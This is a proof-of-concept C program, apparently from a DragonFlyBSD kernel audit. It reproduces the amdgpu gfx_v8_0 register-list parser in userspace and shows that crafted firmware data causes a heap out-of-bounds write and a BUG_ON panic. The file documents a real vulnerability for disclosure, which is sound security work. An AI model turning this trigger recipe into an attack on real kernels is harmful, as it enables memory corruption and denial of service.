⬢ DragonFlyBSD Kernel Audit
DF-3597 / poc_dfr3597.c
← back to finding ↓ download raw
/*
 * DF-3597 PoC: userspace logic replica of gfx_v8_0_parse_ind_reg_list()
 * (sys/dev/drm/amd/amdgpu/gfx_v8_0.c:3974-4022) proving the trailing-entry
 * out-of-bounds read AND write past a heap buffer whose size is the
 * firmware-controlled reg_list_format_size_bytes, plus the BUG_ON panic
 * on the 8th unique indirect index.
 *
 * The parser body below is a verbatim copy of the kernel code (only
 * BUG_ON() and printf are adapted; arithmetic and array accesses are
 * untouched).
 *
 * The kernel caller chain (unreachable on this virtio-only guest, proven
 * by source): gfx_v8_0_hw_init :4864 -> gfx_v8_0_rlc_resume :4176 ->
 * gfx_v8_0_init_pg :4127 (CZ/STONEY/POLARIS11/12/VEGAM) ->
 * gfx_v8_0_init_save_restore_list :4024 -> kmalloc(reg_list_format_size_bytes)
 * :4033 + memcpy :4037 -> gfx_v8_0_parse_ind_reg_list :4040.
 *
 * build: cc -O0 -Wall -o poc_dfr3597 poc_dfr3597.c
 * run:   ./poc_dfr3597          (trailing-entry OOB mode)
 *        ./poc_dfr3597 bugon    (8-unique-index BUG_ON mode)
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static int bugon_fired = 0;
#define BUG_ON(x) do { if (x) { bugon_fired++; \
	printf("  [BUG_ON fired: kernel would PANIC here]\n"); } } while (0)

/* ---- verbatim kernel parser (gfx_v8_0.c:3974-4022) ---- */
static void gfx_v8_0_parse_ind_reg_list(int *register_list_format,
				int ind_offset,
				int list_size,
				int *unique_indices,
				int *indices_count,
				int max_indices,
				int *ind_start_offsets,
				int *offset_count,
				int max_offset)
{
	int indices;
	int new_entry = 1;

	for (; ind_offset < list_size; ind_offset++) {

		if (new_entry) {
			new_entry = 0;
			ind_start_offsets[*offset_count] = ind_offset;
			*offset_count = *offset_count + 1;
			BUG_ON(*offset_count >= max_offset);
		}

		if (register_list_format[ind_offset] == 0xFFFFFFFF) {
			new_entry = 1;
			continue;
		}

		ind_offset += 2;

		/* look for the matching indice */
		for (indices = 0;
			indices < *indices_count;
			indices++) {
			if (unique_indices[indices] ==
				register_list_format[ind_offset])
				break;
		}

		if (indices >= *indices_count) {
			unique_indices[*indices_count] =
				register_list_format[ind_offset];
			indices = *indices_count;
			*indices_count = *indices_count + 1;
			BUG_ON(*indices_count >= max_indices);
		}

		register_list_format[ind_offset] = indices;
	}
}
/* ---- end verbatim parser ---- */

/* allocation with canary guard: elem_count live elements + 4 canary ints */
#define CANARY 0xCAFECAFE
#define RLC_FormatDirectRegListLength 14	/* gfx_v8_0.c:95 */
static int *alloc_guarded(int elem_count)
{
	int *p = malloc((elem_count + 4) * sizeof(int));
	for (int i = elem_count; i < elem_count + 4; i++)
		p[i] = CANARY;
	return p;
}
static int canary_hit(int *p, int elem_count, int *first_bad_idx)
{
	for (int i = elem_count; i < elem_count + 4; i++)
		if (p[i] != CANARY) { *first_bad_idx = i; return 1; }
	return 0;
}

int main(int argc, char **argv)
{
	int unique_indices[8] = {0,0,0,0,0,0,0,0};
	int indices_count = 0;
	int indirect_start_offsets[10] = {0,0,0,0,0,0,0,0,0,0};
	int offset_count = 0;
	int bad = -1;

	setvbuf(stdout, NULL, _IONBF, 0);

	if (argc > 1 && !strcmp(argv[1], "bugon")) {
		/* ---- mode 2: 8 distinct indirect indices -> BUG_ON ---- */
		int n = RLC_FormatDirectRegListLength + 8 * 3;
		int *list = alloc_guarded(n);
		/* RLC_FormatDirectRegListLength = 14 (gfx_v8_0.c:95) skipped */
		for (int i = 14; i < n; i += 3) {
			list[i]   = 0xA0000 + i;	/* addr */
			list[i+1] = 0;
			list[i+2] = 0x90000 + i;	/* unique index word */
		}
		printf("mode=bugon: list_size=%d elems, 8 unique indirect indices\n", n);
		gfx_v8_0_parse_ind_reg_list(list, 14, n, unique_indices,
			&indices_count, 8, indirect_start_offsets,
			&offset_count, 10);
		printf("indices_count=%d bugon_fired=%d -> %s\n", indices_count,
			bugon_fired,
			bugon_fired ? "PANIC (BUG_ON) proven" : "no BUG_ON");
		return bugon_fired ? 2 : 0;
	}

	/* ---- mode 1: truncated trailing entry -> OOB read+write ---- */
	int n = RLC_FormatDirectRegListLength + 3 + 1;	/* one entry + 1 word */
	int *list = alloc_guarded(n);
	/* valid 3-word entry at 14..16 */
	list[14] = 0xA0000; list[15] = 0; list[16] = 0x12345678;
	/* truncated entry: single last word, NOT the 0xFFFFFFFF terminator */
	list[17] = 0xB0000;

	printf("mode=oob: buffer=%d live ints (%d bytes = reg_list_format_size_bytes)\n",
		n, n * 4);
	printf("last live word [%d] = 0x%x != 0xFFFFFFFF -> parser does ind_offset += 2\n",
		n - 1, list[n - 1]);
	printf("then READS  register_list_format[%d]  (4-8 bytes past end)\n", n + 1);
	printf("then WRITES register_list_format[%d] = indices  (heap OOB WRITE)\n", n + 1);

	gfx_v8_0_parse_ind_reg_list(list, RLC_FormatDirectRegListLength, n,
		unique_indices, &indices_count, 8, indirect_start_offsets,
		&offset_count, 10);

	if (canary_hit(list, n, &bad)) {
		printf("RESULT: canary at live-index %d (byte +%d past allocation) "
			"CLOBBERED to 0x%x\n", bad, (bad - n) * 4, list[bad]);
		printf("HEAP OOB WRITE CONFIRMED (value written = small index int, "
			"offset %d bytes past end)\n", (bad - n) * 4);
		return 1;
	}
	printf("RESULT: canary intact - no OOB (unexpected)\n");
	return 0;
}